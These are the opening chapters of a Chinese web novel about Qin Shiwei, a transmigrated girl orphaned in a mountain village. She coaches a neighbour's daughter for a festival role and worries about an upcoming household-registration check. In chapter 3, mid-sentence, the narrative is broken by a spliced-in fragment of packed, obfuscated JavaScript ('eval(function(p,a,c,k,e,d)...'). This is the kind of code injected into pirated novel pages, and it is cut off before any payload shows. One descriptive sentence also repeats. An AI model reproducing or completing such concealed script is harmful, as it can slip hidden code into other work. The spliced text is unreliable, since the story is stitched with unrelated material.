《我娘是恶毒女配，但躺赢了》 1. 求人 三月，阳气舒缓，春日迟迟。 又到了溪头乡还香火的时候，乡下头屯落不少，顺着溪头到溪尾，能够数上七八个，出了名的便是三洞村，更是应了三数，每每在三春之月，迎三神妃演驾，炮响开道，绕着村子足足走上一圈，再是一夜傩戏，设宴饮酒，方圆十里的香客纷纷赶来参会，热闹非凡，算是除了年关，村里最大的日子。 天才蒙蒙亮，晨雾还缠在山腰上，三洞村笼在一片青灰里。 吴三婶眯着眼睛，身旁的吴老三已经摸索着起了身，窸窸窣窣地套上短褐。昨儿个族老点了人，都是些青壮汉子，忙着去张罗还香火这事。吴老三去灶上锅里摸了两窝头，几口下去，又拿了块蒸薯，外头就来了声。 “老三！” “诶，来了。”吴老三赶紧应了声，三两步出了家。 没听见声响了，吴三婶也没了睡意。她翻了个身，又躺了片刻，到底还是起来。先披了件半旧的褂子，趿拉着鞋出了卧房，去院子里看了眼鸡窝，伸手一摸，空的，没落蛋。她又转身去了西边屋。 他们家就两间屋，西边那间给闺女住，他们住的那间还连着灶房。 却见吴晓慧也起了身，正站在床边，低着头抚着身上的新衣裳，脸颊红扑扑的——那是前些时候吴三婶特地去县里扯的布，靛蓝底子印着浅白小花，裁了件时兴的襦裙，今儿个头一回上身。 “娘……”吴晓慧听见动静，抬起头来，眉眼间带着羞怯，又有几分掩不住的欢喜。 果然人美还是看衣裳。 吴三婶瞧着闺女白里透红的模样，心里头那个满意，跟喝了蜜水似的，又透着几分得意。不是她王婆卖瓜，属实是闺女生得好，十五岁的模样俏，眉眼随了她爹，浓眉大眼，可那唇那小下巴，又是照着她的模子刻的，白白净净，在这村里也是拔尖的。 昨个儿王媒婆来说的亲事，她当然不乐意。 那姚行说到底，不也是要靠那两片地吗？说是家里殷实，可谁知道是不是吹的？就算真殷实，家里怎么就一头耕牛？她闺女这模样这品性，嫁到镇上都是屈才，凭甚要许给那样的人家？她心里头跟明镜似的——这回的还香火，就是顶好的机会。三神娘娘面前扮神妃的闺女，往后说亲，那能一样吗？镇上那些殷实人家，甚至县里的，还不抢着要？ 想到这儿，她脸上笑意更盛，催促吴晓慧：“赶紧把衣裳换下来，仔细别弄脏了。去抹把脸，过来吃饭。” “诶。”吴晓慧细声应了，小心翼翼地把新衣裳脱下，叠好放在床头，这才出去舀水洗脸。 母女二人就着灶上剩的一个窝头，还有两碗稀粥吃了。吴三婶从柜子里拿出早就备好的挎篮，上头盖了块靛蓝粗布，里头沉甸甸的，她掂了掂，又揭开布看了一眼——十颗鸡蛋，用谷糠垫得严严实实，一截细棉布，靛青色的，和她给吴晓慧裁新衣的料子一起买的，是预备着求人用的。 都齐整得很。 她盖好布，挎上篮子，带着吴晓慧出了门。 晨雾还没散尽，田埂上的露水打湿了鞋面。穿过一片菜地，两旁的豆角秧子爬满了架，叶子上挂着露珠，晶亮亮的。吴三婶没在自家地头停下，反倒继续往前走，绕着田埂拐了几道弯。远处传来几声狗吠，有早起的人家已经冒起了炊烟，歪歪斜斜地升上去，混在雾里。 隐隐瞧见前头的房屋露了角，是座独门独户的小院，背靠着一片竹林，离最近的邻舍也有百十步远。 吴三婶又不放心地跟自家闺女叮嘱一遍：“记住，待会儿听我说，别多嘴。” “我晓得了。”吴晓慧低声道，手指绞着衣角。 隐隐瞧见前头的房屋露了角，是座独门独户的小院，背靠着一片竹林，离最近的邻舍也有百十步远。 两人沿着田埂又走了一程，离那小院越来越近。竹林就在眼前了，青幽幽的，风吹过，竹叶沙沙响。绕过竹林边上那棵老槐树，就能看见院门。 吴三婶正要拐过去，却猛地停住脚步。 她拉了吴晓慧一把，两人闪到老槐树后头。吴晓慧吓了一跳，正要问，吴三婶竖起食指压在嘴边，往前面努了努嘴。 吴晓慧顺着她的目光看过去，心口猛地一紧。 秦家院子外头，篱笆墙边上，站着个人。 是个男人，看不清脸，只瞧见个背影——穿着灰扑扑的短褐，躬着腰，正往院子里头张望。那模样鬼鬼祟祟的，像条偷食的野狗，扒着篱笆往里瞧，脑袋都快伸进去了。 吴三婶心里头咯噔一下，一股火气蹭地冒上来。 这大清早的，天刚亮，一个男人家，跑到人家小娘子院外头偷瞧，打的什么主意，还用想吗？秦三娘坟头上的土还没干透呢，这些人就按捺不住了？ 她正要出声呵斥，那男人却像听见了什么动静，猛地转过头来。 隔着几十步远，吴三婶看清了那张脸——三角眼，塌鼻梁，嘴角往下耷拉着，约莫三十来岁的年纪，瞧着面生，不是本村人。那人也看见了她们，愣了一愣，随即缩回脖子，猫着腰，一溜烟钻进竹林里，不见了踪影。 竹叶哗啦啦响了一阵，随即又归于寂静。 “娘……”吴晓慧脸色发白，抓着吴三婶的袖子，声音都在抖，“那是谁？” 吴三婶没答话，只沉着脸盯着那片竹林看了半晌，才拉着吴晓慧从树后出来。她心里头像吞了只蝇子，恶心得不行，可又没法说什么——人跑了，追不上，喊也没用。 她只得压着那股火气，领着吴晓慧往院子走。 到了那小院跟前，篱笆门栓着。吴三婶个子矮，踮起脚往里瞧了瞧，院里有棵树，冒了点芽，树下扫得干干净净。她扬声道：“秦丫头！” 喊了一声，里头门开了，出来个年轻小娘子。 她头发随意挽了个纂，插了根素木簪，瞧着十三四岁模样。身上穿着素色襦裙，腰间系了根白布带——那是热孝在身的打扮。脸色比寻常白些，身形纤细窈窕，瞧着比寻常村里姑娘单薄几分，弱得叫人下意识放轻了声气。 不过她眉眼生得极好，眼波清浅如一汪秋水，鼻梁秀挺，唇线柔和，一静一动都带着几分怯生生的温婉。右眉下一颗小小的痣，淡如墨点，衬得她眉目含韵——像山涧里的野白芷，静静长着，偏让人移不开眼。 她站在门槛边，微怔了一下，旋即快步过来开了篱笆门：“三婶？婶子快进来。” 声音轻，却又软糯。 吴三婶应着，携吴晓慧进了院子。秦式微引着她们往屋里去，道：“我去倒碗水来。” 趁着这功夫，吴三婶不动声色地打量着堂屋。 比起自家那间矮檐土屋，这屋子宽敞不少，虽是泥墙，却抹得平整光溜。靠墙摆着一张旧木桌，擦得干干净净，窗下砌了灶台，几件粗瓷碗盏码得齐整。最显眼的是东墙下那张条案，上头供着一方新牌位，黑底白字，写得清楚——慈母秦令华之位。 牌位前摆着个粗瓷香炉，里头插着几根燃尽的香签，炉边搁了碟供果，是几个野柿子，饱满的很。 吴三婶大字不识，趁秦式微还没进来的功夫，悄摸问吴晓慧那字怎么念。 “秦令华。”吴晓慧仔细认道。 吴三婶心里默念了一遍。 她还是头一回晓得秦三娘的闺名。 想起往事，她不由得暗暗叹息。 十多年前，秦三娘孤身来了三洞村，也不知打哪儿来的，没成想居然操起了杀猪的营生——一个女人家，杀猪，那得多大的胆？因着容貌太过出挑，村里那些闲汉便没个消停，嘴上不干不净的，还有人半夜爬她家墙头。结果秦三娘提了把杀猪刀，削了那些人的手指头——是真削，血淋淋的，指头都飞到墙根底下了，吓得那几个混账连滚带爬。 从此泼辣的名号就传开了，倒没人敢再招惹她 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半个月前走的，一场风寒，拖了半个月，到底没撑住。留下这闺女一个人，才十四岁，就得撑着这个家。 吴三婶想起秦三娘临死前那几日，她去看过一回，人瘦得脱了形，可眼神还是亮的。 如今站在这堂屋里，望着那方新牌位，吴三婶心里头酸酸的。 “三婶。”秦式微端着两碗水进来，放在桌上，“喝口水润润。” 吴三婶回过神来，接过碗喝了一口，这才看着她。 秦式微在对面坐下，敏锐地察觉到吴三婶有话说，带着笑问道：“三婶这趟来，可是有什么事？” 这双眼生得极好，清凌凌的，像是山泉水洗过似的，只是一场丧事忙下来，眼底还有些青。 吴三婶见状心里头又叹了一声——难怪村里那些年轻娃子，见了秦式微都走不动道。就说她闺女晓慧，在村里也算出挑的了，可跟秦式微一比，到底差了一层，那眉眼那气韵，也不知道随了谁。 不过想到秦三娘的容貌，吴三婶心里头的酸味又压下去了。女肖母，母女二人都是个好容貌，这也是没法子的事。她今儿个来，不是比这个的。 她把碗往桌上一放，伸手把自家闺女往前推了推。吴晓慧红着脸，垂着头，手指揪着衣摆，羞得不敢抬眼。 “是……”吴三婶不自然摸了摸挎篮上盖着的布，斟酌着开口，“还香火这事，你晓得的吧？” 秦式微隐约猜到了些：“是。今年不是要换人吗？” “是。”她说的直接，吴三婶叹了口气，后面的话也好开口了。 说起来这事还是跟秦式微有关。 年年扮三神妃，都是从村里选容色好、品行佳的女子。凡是演过三神妃的，亲事都要好说上不少——这就是吴三婶的心思。她想给吴晓慧说一门好亲事，最好是镇上开杂货铺的刘家那样的人家，再不济也得是邻村有二十亩水田的张家。 三神妃选人，自三年前起便由秦式微担着——毕竟这丫头的容貌是出挑极了的，便是吴三婶再得意，也不敢说自家闺女容貌能数一数二。年年扮三神妃，秦式微穿了那身衣裳往香案前一站，便是别的州来看热闹的人都要愣一愣，说这怕不是三神娘娘真身下凡。 按理说今年也没旁人什么事。可偏偏秦三娘半月前走了，秦式微身上担着孝，便不好再扮三神妃。族老们商议了一回，说今年得重新选人。 天下白掉谷子，吴三婶哪有不捡的道理？ 她索性把话挑明了：“丫头，婶子也不瞒你。你娘走的时候，婶子帮衬着料理后事，那是我该做的，当年你娘生你的时候，也是我接的生，咱们两家算是老交情。今儿个来求你这个事，是有些唐突，可婶子也是没法子……” 她说着，把挎篮上的布掀开，露出里头的鸡蛋和布料：“这点东西，是婶子的一点心意，你瞅瞅还看得过眼不……” 2. 户籍 “婶子。”秦式微等她说完才开口，声音柔柔的，“婶子的意思我明白。按理说婶子开了口，我该应承才是。可这事……” 她顿了顿，抬眼看向吴三婶，有些为难。 “婶子也知道，选人这事如今是四老叔公掌着。他因着往日的事，对我有些微词。我若去开口，只怕弄巧成拙，反倒连累了晓慧姐。” 吴三婶一听，脸上的笑就垮了半截，像是被霜打了的瓜秧子，蔫得透透的。 这事她哪能不知道。 去年，四叔公的小孙子要定媳妇儿了，那后生叫四狗子，十八九岁的年纪，长得倒是周周正正，可那双眼睛不老实，专往人家小娘子身上瞟。偏就瞧上了秦式微，托自家娘去说亲，秦三娘不同意，直接将人赶了出去。 那时节正是六月里，太阳毒辣辣的，她记得清楚——那天她正从地里回来，远远就看见四叔公家的婆娘气冲冲地从秦家出来，嘴里骂骂咧咧的，说什么“贱皮子”“外乡人还挑三拣四”。 四老叔公为人还算公道，在村里当了三十年族老，从没偏过谁。可老人家就是爱幺孙，那是心头肉、掌中宝，哪舍得说半句重话？怪不得自家人，便将错推给秦家母女，说是她们不识抬举，伤了自家的脸面。 那时她还去劝了几句，想着大家都是女人，谁不知道谁的日子艰难？谁料秦三娘把杀猪刀往案板上一砸，刀刃嵌进案面里，立得直直的，语气倒好了些，说话却不饶人： “不仅是个歪瓜样貌，前几日还想去摸小娘子们的手，被人家爹打了一顿，讨打！该打！” 吴三婶记得自己当时还替四狗子辩解了几句：“还小，也是宠惯了……” 秦三娘瞥她一眼：“他比你家闺女还要大上四岁。” “……”她是真没话说了。吴晓慧那年十四，四狗子十八，确实也说不上小。 除却四狗子这人，不少人也来提过亲，但秦三娘嘴巴都没软和一分，吴三婶虽然也是个疼闺女的，可也不认同——秦三娘这眼光，也是挑极了。这泥腿子看不上，那庄稼汉也看不上，莫不是要找京城的贵人？可京城的贵人，哪会到这山沟沟里来？ 她暗自摇头，秦三娘似乎看出她的想法，也没再说了，只让她拿了半斤猪肉回家。那半斤肉，肥瘦相间，切得齐齐整整，用荷叶包着，她拎回去吃了两顿。 …… “再者……”秦式微这边语气低了些，“我毕竟是外乡人，身上又有孝，也不好四处走动，去族老跟前说这些。” 吴三婶的心彻底凉了，像一盆冷水从头浇到脚。她脸上的失望遮都遮不住，嘴角往下耷拉着。她张了张嘴，想说什么，又觉得说什么都没用，只能叹了口气。 旁边的吴晓慧一直低着头，想说什么，但还是记着自家娘的话，没开口。 “婶子，你且等一等。”秦式微把吴三婶的脸色看得分明，像想起什么，突然起了身，往里屋走去。 她的动作很轻，撩起门帘时几乎没有发出声响，只留下一道细细的光影，在门槛上晃了晃，随即又合上了。 吴三婶心里还吊着，七上八下的，像悬在半空的秤砣。旁边的吴晓慧偷偷抬眼看了看那帘子，又飞快地垂下眼去。 不多时，帘子一动，秦式微从里头出来，怀里抱着个包袱。 那包袱是用一块旧蓝布包着的，四角系得整整齐齐，看得出是用了心的。她把包袱放在桌上，解开，里头是几件物什—— 一条青灰色的素缎披帛，料子不算顶好，却织得细密，上头绣着隐隐的云纹，针脚细密匀称，一看就是下了功夫的，几支铜钗，做工精巧，钗头錾成小小的梅花模样，她在镇上见过，这样的钗要十五枚铜钱一支，她当时看了半天，没舍得买；还有一本薄薄的册子，纸页泛黄，边角有些卷了，却保存得完好，封面上没写字。 秦式微指着这些东西，笑着解释道：“这些都是我往年扮三神妃时自己做的物件儿，算不得什么好东西，就是费了些功夫。婶子，我虽说不上去族老跟前递话，但三神妃的来历、礼仪、唱词，我都还记得一些。若是晓慧姐不嫌弃，我可以把这些教给她。今年选人，约摸都要问一问的。” 吴三婶听了前半句，心里还凉着，像块冰疙瘩堵在那儿。待听到后半句，那冰疙瘩渐渐化了，水从眼睛里头亮出来。 “这……这怎么好意思？”她搓着手，粗糙的掌心磨出沙沙的声响，有些局促地往前探了探身子，“你帮这么大的忙，婶子这点东西……” 她指了指桌上那个挎篮，里头是十颗鸡蛋和一截细棉布，如今跟秦式微拿出来的东西一比，简直寒酸得拿不出手。 “婶子别这么说。”秦式微笑了笑，那笑容浅浅的，让人看着舒坦，“当年我娘走的时候，婶子忙前忙后，我都记着呢。这点小事，应当的。” 吴三婶眼眶有些热，她连连点头，声音都有点发颤：“好丫头，好丫头……” 当下便说定，往后几日，吴晓慧日日来秦式微这里学规矩。 从吴家到秦家，要穿过一片菜地，绕过几道田埂，走上小半个时辰。吴晓慧每日天不亮就起来，把家里的事做完，吃了早饭就往这边赶。 头一日，秦式微先教三神妃的来历。 两人坐在院子里那棵石榴树下，秦式微搬了两张小凳，又端出一碟自己晒的柿子干，给吴晓慧当零嘴。 “三神娘娘本是山中采药女，有一年山里发疫病，死了好多人。娘娘攀悬崖、入深谷，手脚都磨破了，衣裳也挂烂了，采得草药，熬成汤药，救了全村人的性命。后来功德圆满，白日飞升，村里人便立了庙，年年还香火，求的是祛病消灾、五谷丰登。” 她说话声音不高不低，像溪水潺潺流过石头，条理分明，一字一句都说得清清楚楚。吴晓慧听得认真，嘴里念念有词，生怕忘了。 秦式微又取出那本册子，翻开，上头用工整的小楷写着唱词和礼仪规程。她一句一句教吴晓慧念，念熟了，又教她走步、转身、行礼的规矩。 “三神娘娘当年是采药女，所以步伐要轻，要稳，像走山路那样，一步一步踩实了，又不能太重。手要这样抬……”她示范着站起来，手腕微转，指尖轻轻一挑，那动作轻柔得像风吹柳絮，却又透着几分庄重，说不出的好看。 吴晓慧跟着学，却总觉得自己手脚笨拙，像刚学走路的孩子，怎么都不对劲。 “不着急。”秦式微温声道，伸手扶了扶她的手腕，“慢慢来，身子放松些，别绷着。” 吴晓慧点点头，又试了一遍，这回好了一些。 吴三婶在一旁看着，心里又是感激又是愧疚。这丫头教得这样尽心，比自己想的还要细致，自己那点鸡蛋布料算什么？人家拿出的是真东西。 第二日、第三日，吴晓慧日日都来。有时是学唱词，有时是练走步，有时是记那些繁复的规矩——什么时候该跪，什么时候该拜，什么时候该念什么词，一样都不能错。秦式微从不嫌烦，教得细致，有时见吴晓慧学得累了，便停下来，给她倒碗水，或是拿些自己做的吃食。 吴晓慧学得也认真，回去还在屋里偷偷练，对着镜子一遍一遍地走，一遍一遍地念。吴三婶夜里起来，还听见她在屋里念念有词，心里头又是欣慰又是心疼。 她看着闺女一天天长进，心里那杆秤越发往秦式微那边偏——这闺女，可惜了。 第三日晌午，太阳升到头顶，照得院子里亮堂堂的。吴晓慧学完了今日的功课，把那几段唱词从头到尾背了一遍，竟一字不差。秦式微点点头，眼里有几分赞许：“晓慧姐记性好 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“什么话？”秦式微侧头，那双眼睛清清亮亮的，吴晓慧瞧着莫名红了脸。 “我娘说，等还香火之后，里正要例行来查户籍，让你当心些。” 秦式微听了，神色不变，只点了点头，语气依旧温温软软的，像什么事都没发生似的：“好，我晓得了。替我多谢婶子。” 吴晓慧点点头，转身往吴三婶那边跑去。跑了几步，又回头看了一眼——秦式微还站在篱笆门边，风吹起她的衣角，那素色的襦裙轻轻飘动，衬得她越发单薄，像一株长在风口的小草，随时都会被吹折似的。 那边厢，吴三婶接过闺女手里的篮子，掀开布一看，愣住了。 里头是满满一篮子东西——十几个白面馒头，一个个宣腾腾的，圆鼓鼓的，一看就是新蒸的；还有半条腌肉，肥瘦相间，用盐和花椒腌得透透的，切成齐整的条，一包红糖，用油纸包着，解开一角，露出里头红褐色的糖粒，在太阳底下闪着光。 “这……”吴三婶张了张嘴，说不出话来。 “是在我说话之前给的。”吴晓慧道，她亲眼看见的，秦式微提着篮子出来时，还没听她说那句话。 吴三婶捧着那篮子，沉甸甸的，心里也沉甸甸的，像压了块石头。她叹了口气，那口气叹得又长又重：“哎，是个好闺女。只可惜……” 吴晓慧这回听懂了前半句——秦妹妹确实好，那些东西比自家送的贵重多了。她学了三日，反倒收了人家的礼，这份情，往后怎么还？ 可那句“可惜”，她还是没听懂。 “娘，可惜什么？” 吴三婶摇摇头，没答话。 可惜那样通透的一个丫头，偏偏生在那样的境地里。 可惜她娘走得早，留下她一个人，在这村里无依无靠。秦三娘在时，是立了女户的，官府有册子，每年交税纳粮，谁也不低谁一头。可秦三娘一走，那女户便没了主儿。秦式微才十四岁，还没及笄，连她娘那样的女户都做不了。按着规矩，女子十五及笄才能自立门户，她还有一年。这一年里，她算什么？依附谁？ 里正来查户籍——查的就是这个。 查出来，要么有亲族投靠，要么就得寻个人家嫁了。若是两样都做不到…… 吴三婶不敢往下想。她只记得，村里上一个这样的小娘子，后来去了哪里。那都是十年前的事了，那时她才嫁到三洞村不久，亲眼看着那个小娘子被里正带走，说是送去县里，发落到什么村配人去了。后来再也没听说过她的消息。 “走吧。”吴三婶挎起篮子，拉着吴晓慧往家走，步子比来时快了些，“回去给你爹做饭。” 3. 差事 送走吴家母女，秦式微转身回了屋。 步子不紧不慢，进了堂屋，先往东墙那方灵位前站了站。她蹲下身，往灵位下的柜里探手掏了掏。 再收回手时，指间多了个小本本。 书皮素净，没写什么字。她指尖一挑，翻开，里头是密密麻麻的小楷——字倒是挺好看，就是内容琐碎得很。 “去年十月初七，陈头媳妇送荷叶，说可以包猪肉。” 底下用小字注了一笔：腊月十二，还了半扇排骨，多二两。 再翻一页。 “腊月廿三，孙婆子嘀咕，说杀猪时没给她留板油。” 注：腊月廿四，送了板油去，她收了，嘴还碎。记着。 又翻。 “今年正月初九，吴老四在祠堂门口啐了一口，说闺女没规矩。” 注：他喝醉了，不跟他计较。但记着。 诸如此类，小恩小仇，都是她娘记的，一桩桩一件件，清清楚楚。 好在大多数都做了标注——已经报了的意思。 秦式微从袖中摸出自制的炭笔，就着门缝里透进来的光，在吴三婶名字后头端端正正打了个勾。 这一笔，算是最后一笔了。 写完，她拎起小册晃了晃，对着那方灵位，叹了口气：“……总算还完了。” 秦式微把小册收好，往柜里放回原处，又看了那灵位一眼——黑底白字，慈母秦令华之位。 这才转身去灶上做早饭。 灶膛里添了把柴，锅里咕嘟咕嘟煮着粥。她一边看着火，一边想着吴三婶方才的话。 里正要来查户籍。 吴三婶和吴老四家走得近，消息该是准的。按例，里正三年一查户籍，不过是走个过场，核对人丁、登记生老病死、嫁娶迁徙，应付朝廷的人头税罢了。可对她来说，这过场却有些麻烦。 她娘搬来三洞村那年，正逢新帝践祚，先朝留下的户籍乱得很，隐漏的人户不知凡几。也不知她娘从哪儿弄来的门路，竟办下个女户的文书——那东西金贵，女子为户主，可承田产、纳税赋、立门户。正因有这个，她娘才能正正经经担了屠匠的营生，杀猪卖肉，养活母女二人。 可本朝律例，女户不能继承。 母死，女未嫁，田产收归官中，再行分配。她如今还未及笄，一无爹娘，二无宗族，三无依靠，又是外乡人。里正这一查，她便成了那户籍册上的孤零零一笔，要怎么处置，全凭里正一句话。 更何况，还有那桩事—— 本朝对于女子的婚配，是有章程的。女子年满二十，若仍未嫁人，便要由官府安排婚配。 她今年十四。还有六年。 六年听着长，可在这村子里，一日日过着，六年也不过是眨眼的事。 “你记着，”她娘那时候靠在床头，病得只剩一把骨头，眼睛却还亮着，“到时候里正一来，户籍一查，你满二十，没爹没娘，正好由他们安排。配个鳏夫，或是哪家的瘸腿老光棍，都是有的。” 秦式微当时正给她喂药，听了这话，手都没抖一下。 “那我谢谢娘，提前给我提个醒。” “不用谢。”她娘扯了扯嘴角，那笑容带着病气，却还有几分年轻时的促狭，“法子也有——去京城。你外祖家，应当还有人活着。” 说到这儿，她娘眼里居然露出点幸灾乐祸的意思。 秦式微把药碗往前一送：“我不去。” 她娘瞅她，叹了口气，病容上带着真真切切的疑惑：“……怎么一点儿就不像我呢？难道我还真生出一朵真莲花？出淤泥而不染，宁直勿折？” 她嘀嘀咕咕，像是自言自语：“我年轻时候可不是这样的，我贪慕虚荣得很……” 秦式微面色古怪：“如您所说，您是被赶出京城的。就您做的那些事，但凡少做一件，我都还能厚着脸皮去攀亲。” 她娘：“……啧。”自个儿往枕头上一靠，望着帐子顶，转移话题：“还是人老了，记不住事。诶……” 秦式微把药碗又往前递了递。 她娘装没看见，自顾自道：“诶，我记起来了——你还没出世的时候，我还未离京那会儿，给你定了门亲事。那娃娃算起来就大你两岁，长得不错，相貌上勉强配得上你。” “您不是说我是遗腹子吗？离京前都不知道有我了。”秦式微是真疑惑。 那怎么会定下婚约？ 自她有记忆起，先是想起自己赶上了穿越潮流，胎穿到这地儿。又时不时听她娘吹牛，都是少不更事时的荒唐事。可定亲这事，倒是头一回听说。 她娘也看着她，眼神明晃晃写着你怎么如此迂腐。 “那小郎君还是颇为抢手的，我当时想着得赶紧给我未来闺女定下。” “人家愿意？”开个空头支票，就骗人家的婚约？ 她娘认真回忆，眼睛望着帐子顶，嘴角微微翘起，像是在想什么有趣的事：“没不愿意啊。我当时是一品夫人。” 秦式微沉默了片刻，仗势欺人居然说的如此合情合理吗？ 一品夫人。她娘当时的夫君已经身居高位，外祖父家也很有权势——这些都是她零零碎碎从她娘嘴里拼出来的。 可最大问题也来了，那人不是她爹啊。 她听她娘断断续续说过一些——如何抢了姨母的未婚夫，如何大闹京城，如何瞧上她爹还有了她，如何最终被送到庄子上。一出出的，都是话本子上才有的热闹。 她娘说这些的时候，从来不避讳什么，也不觉得有什么不能说的。 秦式微当时想，她娘这心态，真是百折不挠。 拿的是恶毒女配的剧本，倒也真是演得轰轰烈烈。被赶出京城，发落到庄子上，她愣是发现自己有孕后就从庄子上跑出来，辗转几千里，躲到这山沟沟里，重起炉灶，杀猪卖肉，一个人把孩子拉扯大。 换了旁人，早就蔫了。她娘倒好，越活越精神。 思绪回笼，灶上的粥已经滚了。 秦式微添了把柴，把粥搅了搅，盛出一碗，就着咸菜吃了。吃完收拾干净，这才进屋取出个包袱，里头是这些时日做的几支珠钗——用料不算顶好，胜在心思巧，是她在现代当上班族时养成的习惯，闲了便做做手工，如今倒成了门吃饭的手艺。 她把包袱挎好，出了门。 日头已经升起来，照着田埂上的露水珠子，亮晶晶的。秦式微沿着田埂往村口走，路两边是刚插了秧的水田，嫩绿嫩绿的秧苗一行行排开，有早起的农人正弯着腰补苗。远处传来几声狗吠，接着是鸡叫，此起彼伏的。 有挑着担子的货郎从对面过来，吆喝着“针头线脑——胭脂水粉——”。田埂上几个浣衣的妇人端着木盆往河边走，边走边叽叽喳喳说着什么，大约是明日还香火的事。 秦式微与她们擦肩而过，有个婶子认出她来，笑着招呼：“秦丫头，往镇上去？” “诶。”她应了一声，步子没停。 村口老槐树下停着辆牛车，车把式正靠在车辕上打盹。秦式微上前叫醒他，给了两个铜板，便上了车。车上已坐了几个婆子，挎着篮子，大约是去镇上卖鸡蛋的。见她上来，都打量了几眼，有个嘴快的便问：“秦丫头，你娘过世也有些日子了，往后一个人怎么过活？” 秦式微笑了笑，温声道：“慢慢过呗。” 婆子们交换个眼神，也不好再问。牛车晃晃悠悠上了路，一路吱吱呀呀的，碾过土路，穿过田埂，往镇上去。 到了镇上，秦式微在街口下了车，熟门熟路拐进一条小巷。巷子不深，尽头是座青瓦小屋，门虚掩着。她没走前门，绕到后头，轻轻叩了两下。 里头很快有了动静，门拉开，探出一张年轻娘子的脸。 “哟，秦妹妹来了！”那娘子笑起来，一把拉她进去，“快进来，好些日子没见你了。” 这娘子姓韩，夫家姓周，是个走街串巷的货郎。她自己在家里开个小门路，替人代卖些簪环首饰，赚个中间的抽头。 秦式微随她进了屋，把包袱放在桌上，解开。韩娘子凑过来一看，眼睛便亮了：“哎哟，这几支做得可真好！这珠子配这银丝，又素净又雅致，比街上那些粗笨的好看多了。” 秦式微笑笑：“韩姐姐看着给就是了。” 韩娘子数了数，共是五支钗、三对耳坠、两枚戒指。她拨着算盘珠子噼里啪啦一阵，抬头道：“老规矩，卖出去你拿八分，我拿二分。这几件东西，我估摸着能卖个二两银子上下，你拿一两六。若有剩下的，下回再结。” 秦式微点点头，又坐着喝了碗茶，闲话几句。说着说着，她便似不经意地提起：“韩姐姐，我听说里正要查户籍了？” 韩娘子正收拾那些珠钗，闻言手顿了顿，叹口气：“可不是嘛。我当家的前几日还念叨呢，说这回查得严，上头催得紧，估摸着是为了收人头税。” 她压低声音：“你是不知道，今年年景不好，春上那场倒春寒，多少人家冻坏了秧苗。衙门里催税可不管这些，人头税按人头收，一口人多少钱，不管你是老是少，是男是女，只要在册子上就得交。这税那税压在老百姓头上，真是重山啊。” 话说到这儿，她又想起什么似的，叹了一声：“说起我那小姑子，前日又托人带话来，说庵里清苦，菜园子要自己种，她从小没干过这活计，手上都磨出茧子了。唉，也是没法子的事。” 秦式微端着碗，听着，没接话。 韩娘子的小姑子，她是知道的。韩娘子不是头一回说起这个人——嫁过两回，头一个丈夫得急病没了，第二个遇上劫道的丢了命。两回守寡，两回被婆家赶出门，村里那些闲话能淹死人。两个兄长心疼妹子，可也架不住人言可畏，最后凑了挂单费，送到镇外二十里的水月庵去了。 秦式微听韩娘子说过这些，一回，两回，三回。起初是抱怨命苦，后来是叹气流年，再后来便只是随口一提，像是说惯了。 “……她说庵里那些姑子倒还好，就是有个老尼姑规矩大，每日寅时就要起来做早课。”韩娘子絮叨着，“她哪起得来？在家时哪回不是睡到日上三竿？如今可好，人都困昏头，说比在家干活还累。” 韩娘子又叹口气道：“不过她说，比在家里时清净。没人嚼舌根，没人指指点点，姑子们各过各的，倒自在。就是……” 她顿了顿，压低声音：“就是庵里香火不旺，有时候得自己想法子。我那妹子会绣几朵花，托人带出来卖了换些油盐。可她那手艺，也就勉强糊口。” 说完家里这些闲事，韩娘子浑身松快了些，秦式微也起身告辞。 出了巷子，秦式微又往东街走了走，进了家书铺。 铺子里的小二认得她，见了便笑：“秦娘子来了？上回抄的书，先生看了说好，这是润笔。”说着递过来一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦式微步子顿了顿，回头看了一眼，笑盈盈的，眉眼弯弯：“婶子们说得是，今年是晓慧姐姐，她比我合适。” 那几个婶子反倒有些讪讪的，干笑着应了两声，不敢再多话。 秦式微继续往前走，唇边的笑意淡淡的。 三神妃那差事，她当初去，一是因为有钱拿——虽然不多，好歹是进项；二是因为她娘强烈要求。她娘那时候靠在门框上，抱胸说：“去，怎么不去？一年才一回，多热闹的事，我闺女扮上，我可得好好看看。” 后来秦式微才明白，她娘就是纯想看热闹。 到篱笆外了。 秦式微推开院门，刚走进去，就听见后头有人唤她。 “秦家丫头。” 她转过身，就着暮色看清来人——是个老者，头发花白，背微微佝偻，拄着根拐杖站在篱笆外头。 是八老叔公。 秦式微心里微微一动，面上却不动声色，快步迎上去开了门：“老叔公，您怎么来了？快请进。” 又扶着八老叔公往里走，到了堂屋，点了油灯，又去灶上倒了碗温水来。 八老叔公接过碗，喝了一口，把碗放在桌上。他抬起头来，看着秦式微，目光里有些复杂。 “丫头，”他开口，声音苍老，却还清晰，“今儿个还香火，吴老三家的闺女顶上去了。”八老叔公顿了顿，“你扮了许多年，今年……” 他没往下说。 秦式微轻声安慰道：“老叔公，我身上有孝，原也是不能扮的。” 八老叔公看了她一眼，那目光里有些什么，像是叹息，又像是欣慰。他沉默了一会儿，才道：“你是个明白孩子。” 他又端起碗喝了一口水，放下，道：“今儿个我来，是有件事要跟你说。” 秦式微静静听着。 “郡上来了个官，”八老叔公道，“通判。听说还是从京师来的，到下头巡查。这几日要在县里落脚，衙门那边人手不够，想找几个临时帮衬的。” 他顿了顿，看着秦式微：“我寻思着，你一个人在家，也没个进项。这差事虽说是临时的，好歹能赚几个钱。你若是愿意，我就去跟四哥说一声，把你报上去。” 秦式微心里动了动。 通判。从京师来的。 她面上却还是那副温温软软的模样，只垂着眼，像是在思量。 “老叔公，”她轻声问，“这差事，是做什么的？” “也就是打打下手，”八老叔公道，“端茶递水，收拾收拾屋子。都是些轻省活计，累不着人。估摸着也就三五日的功夫，等那通判走了，也就结了。” 他看了秦式微一眼，又道：“工钱是衙门里出，一日五十文。吃住都在衙门里，不用自家开销。” 一日五十文。 秦式微在心里算了算，她卖珠钗，一支也就卖个三四十文，还得抽二分给韩姐姐。抄书更少，一本薄册子才几十个铜板。这差事做三五日，便能挣个二百来文，抵得上她小半个月的进项。 可这不是最要紧的。 最要紧的是，这是衙门里的差事。她若去了，这回查户籍查得这般仔细，怕也是因着这位京官——她人在衙门里，虽是临时的，好歹也能打探些风声，晓得个中究竟。 水月庵那边，是实在无路可走时的退路。若这回户籍的事能寻着个关窍，熬过去，明年她便及笄了，也能学她娘当年，搞个女户的文书，往后招个赘婿。 